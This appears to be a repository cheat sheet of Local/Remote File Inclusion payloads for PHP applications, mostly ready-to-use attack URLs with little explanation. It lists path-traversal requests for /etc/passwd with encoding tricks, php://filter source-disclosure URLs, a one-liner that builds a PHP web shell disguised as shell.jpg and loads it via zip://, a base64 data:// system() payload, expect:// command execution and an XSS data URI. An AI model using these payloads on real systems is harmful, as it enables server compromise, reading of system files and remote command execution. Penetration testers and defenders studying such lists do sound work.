Local/Remote File Inclusion

The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application.

Exploit

Basic LFI (null byte, double encoding and other tricks)

http://example.com/index.php?page=etc/passwd
http://example.com/index.php?page=etc/passwd%00
http://example.com/index.php?page=../../etc/passwd
http://example.com/index.php?page=%252e%252e%252f
http://example.com/index.php?page=....//....//etc/passwd

LFI Wrapper rot13 and base64 - php://filter case insensitive

http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

can be chained with a compression wrapper
http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

LFI Wrapper ZIP

os.system("echo \"</pre><?php system($_GET['cmd']); ?></pre>\" > payload.php; zip payload.zip payload.php; mv payload.zip shell.jpg; rm payload.php")

http://example.com/index.php?page=zip://shell.jpg%23payload.php

RFI Wrapper DATA with "" payload

http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

RFI Wrapper EXPECT

http://example.com/index.php?page=php:expect://id
http://example.com/index.php?page=php:expect://ls

XSS via RFI/LFI with "<<svg<>svg onload=alert(1)>" payload

http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

1.9 KiB Raw Blame History

Local/Remote File Inclusion

Exploit

Thanks to

1.9 KiB

Raw Blame History